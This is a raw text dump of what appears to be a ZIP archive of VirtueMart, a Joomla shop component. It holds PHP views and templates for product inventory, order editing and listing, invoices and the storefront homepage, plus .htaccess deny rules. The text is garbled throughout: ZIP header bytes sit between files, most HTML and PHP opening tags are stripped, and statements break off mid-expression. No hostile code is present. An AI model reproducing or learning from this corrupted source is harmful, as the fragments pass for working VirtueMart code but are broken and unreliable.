JHTML::_('select.option', 'stocklow', JText::_('COM_VIRTUEMART_STOCK_LEVEL_LOW')); $options[] = JHTML::_('select.option', 'stockout', JText::_('COM_VIRTUEMART_STOCK_LEVEL_OUT')); $this->lists['stockfilter'] = JHTML::_('select.genericlist', $options, 'search_type', 'onChange="document.adminForm.submit(); return false;"', 'value', 'text', JRequest::getVar('search_type')); $this->lists['filter_product'] = JRequest::getVar('filter_product'); // $this->assignRef('lists', $lists); /* Toolbar */ $this->SetViewTitle('PRODUCT_INVENTORY'); JToolBarHelper::publish(); JToolBarHelper::unpublish(); parent::display($tpl); } } // pure php no closing tag PKs>\+com_virtuemart/views/orders/tmpl/index.htmlnuW+APKs>\&z330com_virtuemart/views/orders/tmpl/order_print.phpnuW+A\ަ5com_virtuemart/views/orders/tmpl/order_editstatus.phpnuW+AaddScriptDeclaration ( " function cancelOrderStatFormEdit(e) { jQuery('#orderStatForm').each(function(){ this.reset(); }); jQuery('#order_items_status') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('div#updateOrderStatus').hide(); e.preventDefault(); } "); ?>

      orderStatSelect; ?>


      orderID.'][update_lines]', true); ?>
            
      PKs>\X8 *com_virtuemart/views/orders/tmpl/order.phpnuW+AaddScriptDeclaration ( " jQuery( function($) { $('.orderedit').hide(); $('.ordereditI').show(); $('.orderedit').css('backgroundColor', 'lightgray'); jQuery('.updateOrderItemStatus').click(function() { document.orderItemForm.task.value = 'updateOrderItemStatus'; document.orderItemForm.submit(); return false }); jQuery('select#virtuemart_paymentmethod_id').change(function(){ jQuery('span#delete_old_payment').show(); jQuery('input#delete_old_payment').attr('checked','checked'); }); }); function enableEdit(e) { jQuery('.orderedit').each( function() { var d = jQuery(this).css('visibility')=='visible'; jQuery(this).toggle(); jQuery('.orderedit').css('backgroundColor', d ? 'white' : 'lightgray'); jQuery('.orderedit').css('color', d ? 'blue' : 'black'); }); jQuery('.ordereditI').each( function() { jQuery(this).toggle(); }); e.preventDefault(); }; function addNewLine(e,i) { var row = jQuery('#itemTable').find('tbody tr:first').html(); var needle = 'item_id['+i+']'; //var needle = new RegExp('item_id['+i+']','igm'); while (row.contains(needle)){ row = row.replace(needle,'item_id[0]'); } //alert(needle); jQuery('#itemTable').find('tbody').prepend(''+row+''); e.preventDefault(); }; function cancelEdit(e) { jQuery('#orderItemForm').each(function(){ this.reset(); }); jQuery('.selectItemStatusCode') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('.orderedit').hide(); jQuery('.ordereditI').show(); e.preventDefault(); } function resetOrderHead(e) { jQuery('#orderForm').each(function(){ this.reset(); }); jQuery('select#virtuemart_paymentmethod_id') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('select#virtuemart_shipmentmethod_id') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); e.preventDefault(); } "); ?>
        
      orderbt->virtuemart_order_id . '&order_number=' .$this->orderbt->order_number. '&order_pass=' .$this->orderbt->order_pass; $print_link = ""; $print_link .= $this->orderbt->order_number . ' '; ?> orderbt->coupon_code) { ?> orderbt->invoiceNumber and !shopFunctions::InvoiceNumberReserved($this->orderbt->invoiceNumber) ) { $invoice_url = juri::root().'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $this->orderbt->virtuemart_order_id . '&order_number=' .$this->orderbt->order_number. '&order_pass=' .$this->orderbt->order_pass; $invoice_link = ""; $invoice_link .= $this->orderbt->invoiceNumber . '';?>
      orderbt->order_pass;?>
      orderbt->created_on,'LC2',true); ?>
      orderstatuslist[$this->orderbt->order_status]; ?>
      orderbt->company ? $this->orderbt->company." ":""; $username.=$this->orderbt->first_name." ".$this->orderbt->last_name." "; if ($this->orderbt->virtuemart_user_id) { $userlink = JROUTE::_ ('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $this->orderbt->virtuemart_user_id); echo JHTML::_ ('link', JRoute::_ ($userlink), $username, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_USER') . ' ' . $username)); } else { echo $this->orderbt->first_name.' '.$this->orderbt->last_name; } ?>
      orderbt->ip_address; ?>
      orderbt->coupon_code; ?>
      orderdetails['history'] as $this->orderbt_event ) { echo ""; echo "\n"; if ($this->orderbt_event->customer_notified == 1) { echo ''; } else { echo ''; } if(!isset($this->orderstatuslist[$this->orderbt_event->order_status_code])){ if(empty($this->orderbt_event->order_status_code)){ $this->orderbt_event->order_status_code = 'unknown'; } $_orderStatusList[$this->orderbt_event->order_status_code] = JText::_('COM_VIRTUEMART_UNKNOWN_ORDER_STATUS'); } echo ''; echo "\n"; echo "\n"; } ?> trigger('plgVmOnUpdateOrderBEPayment',array($this->orderID)); $_returnValues2 = $_dispatcher->trigger('plgVmOnUpdateOrderBEShipment',array( $this->orderID)); $_returnValues = array_merge($_returnValues1, $_returnValues2); $_plg = ''; foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { $_plg .= (' \n"); } } if ($_plg !== '') { echo "\n$_plg\n"; } ?>
      ". vmJsApi::date($this->orderbt_event->created_on,'LC2',true) ."'.JText::_('COM_VIRTUEMART_YES').''.JText::_('COM_VIRTUEMART_NO').''.$this->orderstatuslist[$this->orderbt_event->order_status_code].'".$this->orderbt_event->comments."
      ' . $_returnValue . "
      orderbt->customer_note || true) { ?>
      getPayments(); $model = VmModel::getModel('shipmentmethod'); $shipments = $model->getShipments(); ?>
      virtuemart_paymentmethod_id == $this->orderbt->virtuemart_paymentmethod_id) echo $payment->payment_name; } ?>
      virtuemart_shipmentmethod_id == $this->orderbt->virtuemart_shipmentmethod_id) echo $shipment->shipment_name; } ?>
       
      userfields['fields'] as $_field ) { echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; //*/ /* $fn = $_field['name']; $fv = $_field['value']; $ft = $_field['title']; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n";*/ } ?>
      '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
      '."\n"; echo ' '.$ft."\n"; echo ' '."\n"; echo " \n"; echo '
      shipmentfields['fields'] as $_field ) { echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } ?>
      '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
      orderdetails['items'] as $item) { ?> virtuemart_order_item_id; ?>" data-itemid="virtuemart_order_item_id; ?>">*/ ?> orderbt->coupon_discount > 0 || $this->orderbt->coupon_discount < 0) { ?> orderdetails['calc_rules'] as $rule){ if ($rule->calc_kind == 'DBTaxRulesBill') { ?> calc_kind == 'taxRulesBill') { ?> calc_kind == 'DATaxRulesBill') { ?> orderbt->user_currency_rate != 1.0) { ?>
      #
      product_quantity; ?> order_item_name; ?> order_item_name; if (!empty($item->product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $product_attribute = VirtueMartModelCustomfields::CustomsFieldOrderDisplay($item,'BE'); echo '
      '.$product_attribute.'
      '; } $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnShowOrderLineBEShipment',array( $this->orderID,$item->virtuemart_order_item_id)); $_plg = ''; foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { $_plg .= $_returnValue; } } if ($_plg !== '') { echo '' . '' . '' // Indent . '' . '' . '
      '.$_plg.'
      '; } ?> virtuemart_product_id)) { ?> Product ID:
      order_item_sku; ?> itemstatusupdatefields[$item->virtuemart_order_item_id]; ?> product_discountedPriceWithoutTax = (float) $item->product_discountedPriceWithoutTax; if (!empty($item->product_priceWithoutTax) && $item->product_discountedPriceWithoutTax != $item->product_priceWithoutTax) { echo ''.$this->currency->priceDisplay($item->product_item_price) .'
      '; echo ''.$this->currency->priceDisplay($item->product_discountedPriceWithoutTax) .'
      '; } else { echo ''.$this->currency->priceDisplay($item->product_item_price) .'
      '; } ?>
      currency->priceDisplay($item->product_basePriceWithTax); ?> currency->priceDisplay($item->product_final_price); ?> currency->priceDisplay( $item->product_tax); ?> currency->priceDisplay( $item->product_subtotal_discount); ?> product_basePriceWithTax = (float) $item->product_basePriceWithTax; if(!empty($item->product_basePriceWithTax) && $item->product_basePriceWithTax != $item->product_final_price ) { echo ''.$this->currency->priceDisplay($item->product_basePriceWithTax,$this->currency,$item->product_quantity) .'
      ' ; } elseif (empty($item->product_basePriceWithTax) && $item->product_item_price != $item->product_final_price) { echo '' . $this->currency->priceDisplay($item->product_item_price,$this->currency,$item->product_quantity) . '
      '; } echo $this->currency->priceDisplay($item->product_subtotal_with_tax); ?>
               orderStatSelect; ?>    
      orderbt->virtuemart_order_id.'&orderLineId=0&tmpl=component&task=editOrderItem'); ?>
      :
      currency->priceDisplay($this->orderbt->order_subtotal); ?>     currency->priceDisplay($this->orderbt->order_tax); ?> currency->priceDisplay($this->orderbt->order_discountAmount); ?> currency->priceDisplay($this->orderbt->order_salesPrice); ?>
                currency->priceDisplay($this->orderbt->coupon_discount); ?>
      calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount);?>
      calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount); ?>
      calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount); ?>
      : currency->priceDisplay($this->orderbt->order_shipment); ?>     currency->priceDisplay($this->orderbt->order_shipment_tax); ?>   currency->priceDisplay($this->orderbt->order_shipment+$this->orderbt->order_shipment_tax); ?>
      : currency->priceDisplay($this->orderbt->order_payment); ?>     currency->priceDisplay($this->orderbt->order_payment_tax); ?>   currency->priceDisplay($this->orderbt->order_payment+$this->orderbt->order_payment_tax); ?>
      :       currency->priceDisplay($this->orderbt->order_billTaxAmount); ?> currency->priceDisplay($this->orderbt->order_billDiscountAmount); ?> currency->priceDisplay($this->orderbt->order_total); ?>
      :           orderbt->user_currency_rate ?>
       
      trigger('plgVmOnShowOrderBEShipment',array( $this->orderID,$this->orderbt->virtuemart_shipmentmethod_id, $this->orderdetails)); foreach ($returnValues as $returnValue) { if ($returnValue !== null) { echo $returnValue; } } ?> trigger('plgVmOnShowOrderBEPayment',array( $this->orderID,$this->orderbt->virtuemart_paymentmethod_id, $this->orderdetails)); foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { echo $_returnValue; } } ?>
      PKs>\d?''+com_virtuemart/views/orders/tmpl/orders.phpnuW+A
      orderslist) > 0) { $i = 0; $k = 0; $keyword = JRequest::getWord ('keyword'); foreach ($this->orderslist as $key => $order) { $checked = JHTML::_ ('grid.id', $i, $order->virtuemart_order_id); ?> virtuemart_order_id; ?> virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $print_link = ""; $print_link .= ' '; $invoice_link = ''; $deliverynote_link = ''; if (!$order->invoiceNumber) { $invoice_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass . '&create_invoice=1'; $invoice_link .= "".''; } elseif (!shopFunctions::InvoiceNumberReserved ($order->invoiceNumber)) { $invoice_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $invoice_link = "" . ''; } if (!$order->invoiceNumber) { $deliverynote_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=deliverynote&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass . '&create_invoice=1'; $deliverynote_link = "" . ''; } elseif (!shopFunctions::InvoiceNumberReserved ($order->invoiceNumber)) { $deliverynote_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=deliverynote&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $deliverynote_link = "" . ''; } ?>
      sort ('order_number', 'COM_VIRTUEMART_ORDER_LIST_NUMBER') ?> sort ('order_name', 'COM_VIRTUEMART_ORDER_PRINT_NAME') ?> sort ('order_email', 'COM_VIRTUEMART_EMAIL') ?> sort ('payment_method', 'COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL') ?> sort ('created_on', 'COM_VIRTUEMART_ORDER_CDATE') ?> sort ('modified_on', 'COM_VIRTUEMART_ORDER_LIST_MDATE') ?> sort ('order_status', 'COM_VIRTUEMART_STATUS') ?> sort ('order_total', 'COM_VIRTUEMART_TOTAL') ?> sort ('virtuemart_order_id', 'COM_VIRTUEMART_ORDER_LIST_ID') ?>
      order_number, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order->order_number)); ?> virtuemart_user_id) { $userlink = JROUTE::_ ('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $order->virtuemart_user_id, FALSE); echo JHTML::_ ('link', JRoute::_ ($userlink, FALSE), $order->order_name, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_USER') . ' ' . $order->order_name)); } else { echo $order->order_name; } ?> order_email; ?> payment_method; ?> created_on, 'LC2', TRUE); ?> modified_on, 'LC2', TRUE); ?> orderstatuses, "orders[" . $order->virtuemart_order_id . "][order_status]", 'class="orderstatus_select"', 'order_status_code', 'order_status_name', $order->order_status, 'order_status' . $i, TRUE); ?>
      'show_comment')); ?>
      virtuemart_order_id . '][customer_notified]', 0) . JText::_ ('COM_VIRTUEMART_ORDER_LIST_NOTIFY'); ?>
         virtuemart_order_id . '][customer_send_comment]', 1) . JText::_ ('COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT'); ?>
      virtuemart_order_id . '][update_lines]', 1) . JText::_ ('COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS'); ?>
      order_total; ?> virtuemart_order_id, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_ID') . ' ' . $order->virtuemart_order_id)); ?>
      pagination->getListFooter (); ?>
      addStandardHiddenToForm (); ?>
      PKs>\)*com_virtuemart/views/orders/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\Epw$$)com_virtuemart/views/orders/view.html.phpnuW+AgetPathway(); $task = JRequest::getWord('task', 'list'); $layoutName = JRequest::getWord('layout', 'list'); $this->setLayout($layoutName); $_currentUser = JFactory::getUser(); $document = JFactory::getDocument(); if(!empty($tpl)){ $format = $tpl; } else { $format = JRequest::getWord('format', 'html'); } $this->assignRef('format', $format); if($format=='pdf'){ $document->setTitle( JText::_('COM_VIRTUEMART_INVOICE') ); //PDF needs more RAM than usual VmConfig::ensureMemoryLimit(96); } else { if ($layoutName == 'details') { $document->setTitle( JText::_('COM_VIRTUEMART_ACC_ORDER_INFO') ); $pathway->additem(JText::_('COM_VIRTUEMART_ACC_ORDER_INFO')); } else { $document->setTitle( JText::_('COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE') ); $pathway->additem(JText::_('COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE')); } } $orderModel = VmModel::getModel('orders'); if ($layoutName == 'details') { $order_list_link = FALSE; $order_list_link = JRoute::_('index.php?option=com_virtuemart&view=orders&layout=list', FALSE); $this->assignRef('order_list_link', $order_list_link); $orderDetails = $orderModel ->getMyOrderDetails(); if(!$orderDetails or empty($orderDetails['details'])){ echo JText::_('COM_VIRTUEMART_ORDER_NOTFOUND'); return; } $userFieldsModel = VmModel::getModel('userfields'); $_userFields = $userFieldsModel->getUserFields( 'account' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username','password', 'password2', 'agreed', 'address_type') // Skips ); $orderbt = $orderDetails['details']['BT']; $orderst = (array_key_exists('ST', $orderDetails['details'])) ? $orderDetails['details']['ST'] : $orderbt; $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ); $shipment_name=''; if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEShipment',array( $orderDetails['details']['BT']->virtuemart_order_id, $orderDetails['details']['BT']->virtuemart_shipmentmethod_id, &$shipment_name)); $payment_name=''; if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEPayment',array( $orderDetails['details']['BT']->virtuemart_order_id, $orderDetails['details']['BT']->virtuemart_paymentmethod_id, &$payment_name)); if($format=='pdf'){ $invoiceNumberDate = array(); $return = $orderModel->createInvoiceNumber($orderDetails['details']['BT'], $invoiceNumberDate ); if(empty($invoiceNumberDate)){ $invoiceNumberDate[0] = 'no invoice number accessible'; $invoiceNumberDate[1] = 'no invoice date accessible'; } $this->assignRef('invoiceNumber', $invoiceNumberDate[0]); $this->assignRef('invoiceDate', $invoiceNumberDate[1]); } $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('shipment_name', $shipment_name); $this->assignRef('payment_name', $payment_name); $this->assignRef('orderdetails', $orderDetails); if($_currentUser->guest){ $details_url = juri::root().'index.php?option=com_virtuemart&view=orders&layout=details&tmpl=component&order_pass=' . JRequest::getString('order_pass',false) .'&order_number='.JRequest::getString('order_number',false); } else { $details_url = juri::root().'index.php?option=com_virtuemart&view=orders&layout=details&tmpl=component&virtuemart_order_id=' . $this->orderdetails['details']['BT']->virtuemart_order_id; } $this->assignRef('details_url', $details_url); $tmpl = JRequest::getWord('tmpl'); $print = false; if($tmpl){ $print = true; } $this->prepareVendor(); $this->assignRef('print', $print); $vendorId = 1; $emailCurrencyId = $orderDetails['details']['BT']->user_currency_id; $exchangeRate = FALSE; if (!class_exists ('vmPSPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); } JPluginHelper::importPlugin ('vmpayment'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ('plgVmgetEmailCurrency', array($orderDetails['details']['BT']->virtuemart_paymentmethod_id, $orderDetails['details']['BT']->virtuemart_order_id, &$emailCurrencyId)); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance ($emailCurrencyId, $vendorId); if ($emailCurrencyId) { vmdebug ('exchangerate', $orderDetails['details']['BT']->user_currency_rate); $currency->exchangeRateShopper = $orderDetails['details']['BT']->user_currency_rate; } $this->assignRef ('currency', $currency); // Implement the Joomla panels. If we need a ShipTo tab, make it the active one. // In tmpl/edit.php, this is the 4th tab (0-based, so set to 3 above) // jimport('joomla.html.pane'); // $pane = JPane::getInstance((__VM_ORDER_USE_SLIDERS?'Sliders':'Tabs')); // $this->assignRef('pane', $pane); } else { // 'list' -. default $useSSL = VmConfig::get('useSSL',0); $useXHTML = true; $this->assignRef('useSSL', $useSSL); $this->assignRef('useXHTML', $useXHTML); if ($_currentUser->get('id') == 0) { // getOrdersList() returns all orders when no userID is set (admin function), // so explicetly define an empty array when not logged in. $orderList = array(); } else { $orderList = $orderModel->getOrdersList($_currentUser->get('id'), TRUE); foreach ($orderList as $order) { $vendorId = 1; $emailCurrencyId = $order->user_currency_id; $exchangeRate = FALSE; if (!class_exists ('vmPSPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); } JPluginHelper::importPlugin ('vmpayment'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ('plgVmgetEmailCurrency', array($order->virtuemart_paymentmethod_id, $order->virtuemart_order_id, &$emailCurrencyId)); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance ($emailCurrencyId, $vendorId); $this->assignRef ('currency', $currency); if ($emailCurrencyId) { vmdebug ('exchangerate', $order->user_currency_rate); $currency->exchangeRateShopper = $order->user_currency_rate; } $order->currency = $currency; } } $this->assignRef('orderlist', $orderList); } /* if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency', $currency); */ $orderStatusModel = VmModel::getModel('orderstatus'); $_orderstatuses = $orderStatusModel->getOrderStatusList(); $orderstatuses = array(); foreach ($_orderstatuses as $_ordstat) { $orderstatuses[$_ordstat->order_status_code] = JText::_($_ordstat->order_status_name); } $this->assignRef('orderstatuses', $orderstatuses); if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $document = JFactory::getDocument(); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); // this is no setting in BE to change the layout ! //shopFunctionsF::setVmTemplate($this,0,0,$layoutName); parent::display($tpl); } // add vendor for cart function prepareVendor(){ $vendorModel = VmModel::getModel('vendor'); $vendor = & $vendorModel->getVendor(); $this->assignRef('vendor', $vendor); $vendorModel->addImages($this->vendor,1); } } PKs>\Q(com_virtuemart/views/orders/view.raw.phpnuW+AgetOrder($virtuemart_order_id); //$order = $this->get('Order'); $orderNumber = $order['details']['BT']->virtuemart_order_number; $orderbt = $order['details']['BT']; $orderst = (array_key_exists('ST', $order['details'])) ? $order['details']['ST'] : $orderbt; $currency = CurrencyDisplay::getInstance('',$order['details']['BT']->virtuemart_vendor_id); $this->assignRef('currency', $currency); $_userFields = $userFieldsModel->getUserFields( 'registration' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions... $_orderStats = $this->get('OrderStatusList'); $_orderStatusList = array(); foreach ($_orderStats as $orderState) { $_orderStatusList[$orderState->order_status_code] = JText::_($orderState->order_status_name); } /*foreach($order['items'] as $_item) { if (!empty($_item->product_attribute)) { $_attribs = preg_split('/\s?\s?/i', $_item->product_attribute); $product = $productModel->getProduct($_item->virtuemart_product_id); $_productAttributes = array(); $_prodAttribs = explode(';', $product->attribute); foreach ($_prodAttribs as $_pAttr) { $_list = explode(',', $_pAttr); $_name = array_shift($_list); $_productAttributes[$_item->virtuemart_order_item_id][$_name] = array(); foreach ($_list as $_opt) { $_optObj = new stdClass(); $_optObj->option = $_opt; $_productAttributes[$_item->virtuemart_order_item_id][$_name][] = $_optObj; } } } }*/ //$_shipmentInfo = ShopFunctions::getShipmentRateDetails($orderbt->virtuemart_shipmentmethod_id); /* Assign the data */ $this->assignRef('orderdetails', $order); $this->assignRef('orderNumber', $orderNumber); $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('orderstatuslist', $_orderStatusList); $this->assignRef('orderbt', $orderbt); $this->assignRef('orderst', $orderst); $this->assignRef('virtuemart_shipmentmethod_id', $orderbt->virtuemart_shipmentmethod_id); error_reporting(0); parent::display($tpl); } } PKs>\&com_virtuemart/views/orders/index.htmlnuW+APKs>\)%com_virtuemart/views/orders/.htaccessnuW+A Order allow,deny Deny from all PKs>\)$com_virtuemart/views/about/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,%com_virtuemart/views/about/index.htmlnuW+APKs>\gk)(com_virtuemart/views/about/view.html.phpnuW+A\#o,,*com_virtuemart/views/about/tmpl/index.htmlnuW+APKs>\))com_virtuemart/views/about/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\!wKK+com_virtuemart/views/about/tmpl/default.phpnuW+A\{k-com_virtuemart/views/virtuemart/view.html.phpnuW+AsetId(1); $vendor = $vendorModel->getVendor(); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); if (VmConfig::get ('enable_content_plugin', 0)) { shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_store_desc'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_terms_of_service'); } $this->assignRef('vendor',$vendor); $document = JFactory::getDocument(); if(!VmConfig::get('shop_is_offline',0)){ $categoryModel = VmModel::getModel('category'); $productModel = VmModel::getModel('product'); $ratingModel = VmModel::getModel('ratings'); $productModel->withRating = $ratingModel->showRating(); $products = array(); $categoryId = JRequest::getInt('catid', 0); $categoryChildren = $categoryModel->getChildCategoryList($vendorId, $categoryId); $categoryModel->addImages($categoryChildren,1); $this->assignRef('categories', $categoryChildren); if(!class_exists('CurrencyDisplay'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance( ); $this->assignRef('currency', $currency); $products_per_row = VmConfig::get('homepage_products_per_row',3); $featured_products_rows = VmConfig::get('featured_products_rows',1); $featured_products_count = $products_per_row * $featured_products_rows; if (!empty($featured_products_count) and VmConfig::get('show_featured', 1)) { $products['featured'] = $productModel->getProductListing('featured', $featured_products_count); $productModel->addImages($products['featured'],1); } $latest_products_rows = VmConfig::get('latest_products_rows'); $latest_products_count = $products_per_row * $latest_products_rows; if (!empty($latest_products_count) and VmConfig::get('show_latest', 1)) { $products['latest']= $productModel->getProductListing('latest', $latest_products_count); $productModel->addImages($products['latest'],1); } $topTen_products_rows = VmConfig::get('topTen_products_rows'); $topTen_products_count = $products_per_row * $topTen_products_rows; if (!empty($topTen_products_count) and VmConfig::get('show_topTen', 1)) { $products['topten']= $productModel->getProductListing('topten', $topTen_products_count); $productModel->addImages($products['topten'],1); } $recent_products_rows = VmConfig::get('recent_products_rows'); $recent_products_count = $products_per_row * $recent_products_rows; $recent_products = $productModel->getProductListing('recent'); if (!empty($recent_products_count) and VmConfig::get('show_recent', 1) and !empty($recent_products)) { $products['recent']= $productModel->getProductListing('recent', $recent_products_count); $productModel->addImages($products['recent'],1); } $this->assignRef('products', $products); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showBasePrice = Permissions::getInstance()->check('admin'); //todo add config settings $this->assignRef('showBasePrice', $showBasePrice); // $layoutName = VmConfig::get('vmlayout','default'); $layout = VmConfig::get('vmlayout','default'); $this->setLayout($layout); // Add feed links if ($products && (VmConfig::get('feed_featured_published', 0)==1 or VmConfig::get('feed_topten_published', 0)==1 or VmConfig::get('feed_latest_published', 0)==1)) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $document->addHeadLink(JRoute::_($link . '&type=rss', FALSE), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $document->addHeadLink(JRoute::_($link . '&type=atom', FALSE), 'alternate', 'rel', $attribs); } } else { $this->setLayout('off_line'); } $error = JRequest::getInt('error',0); //Todo this may not work everytime as expected, because the error must be set in the redirect links. if(!empty($error)){ $document->setTitle(JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND').JText::sprintf('COM_VIRTUEMART_HOME',$vendor->vendor_store_name)); } else { if(empty($vendor->customtitle)){ $app = JFactory::getApplication(); $menus = $app->getMenu(); $menu = $menus->getActive(); if ($menu){ $menuTitle = $menu->params->get('page_title'); if(empty($menuTitle)) { $menuTitle = JText::sprintf('COM_VIRTUEMART_HOME',$vendor->vendor_store_name); } $document->setTitle($menuTitle); } else { $title = JText::sprintf('COM_VIRTUEMART_HOME',$vendor->vendor_store_name); $document->setTitle($title); } } else { $document->setTitle($vendor->customtitle); } if(!empty($vendor->metadesc)) $document->setMetaData('description',$vendor->metadesc); if(!empty($vendor->metakey)) $document->setMetaData('keywords',$vendor->metakey); if(!empty($vendor->metarobot)) $document->setMetaData('robots',$vendor->metarobot); if(!empty($vendor->metaauthor)) $document->setMetaData('author',$vendor->metaauthor); } $template = VmConfig::get('vmtemplate',0); shopFunctionsF::setTemplate($template); parent::display($tpl); } } # pure php no closing tagPKs>\))com_virtuemart/views/virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,*com_virtuemart/views/virtuemart/index.htmlnuW+APKs>\).com_virtuemart/views/virtuemart/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\2EJII?com_virtuemart/views/virtuemart/tmpl/default_statisticspage.phpnuW+A ordersByStatus ); $i < $n; $i++) { $row = $this->ordersByStatus[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=orders&show='.$row->order_status_code); ?> order_count; } ?> recentOrders); $i < $n; $i++) { $row = $this->recentOrders[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$row->virtuemart_order_id); ?> recentCustomers); $i < $n; $i++) { $row = $this->recentCustomers[$i]; $link = 